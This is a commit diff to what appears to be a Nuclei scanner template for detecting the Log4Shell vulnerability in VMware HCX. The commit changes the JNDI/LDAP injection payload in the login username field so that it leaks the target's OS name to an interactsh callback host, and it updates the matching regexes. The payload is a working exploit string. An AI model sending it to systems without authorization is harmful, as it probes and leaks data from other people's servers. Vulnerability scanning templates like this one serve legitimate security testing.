Update vmware-hcx-log4j.yaml

patch-1
Dhiyaneshwaran 2022-08-01 11:36:02 +05:30 committed by GitHub
parent d86e98c6a7
commit 481bd34fed
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 3 additions and 4 deletions

View File

@ -26,7 +26,7 @@ requests:
{ {
"authType": "password", "authType": "password",
"username": "${jndi:ldap://${hostName}.{{interactsh-url}}}", "username": "${jndi:ldap://${sys:os.name}.{{interactsh-url}}}",
"password": "admin" "password": "admin"
} }
@ -40,15 +40,14 @@ requests:
- type: regex - type: regex
part: interactsh_request part: interactsh_request
regex: regex:
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable - '([a-zA-Z0-9.-]+).([a-z0-9]+).([a-z0-9]+).\w+' # Match for extracted ${sys:os.name} variable
extractors: extractors:
- type: kval - type: kval
kval: kval:
- interactsh_ip # Print remote interaction IP in output - interactsh_ip # Print remote interaction IP in output
- type: regex - type: regex
part: interactsh_request part: interactsh_request
group: 1 group: 1
regex: regex:
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${sys:os.name} in output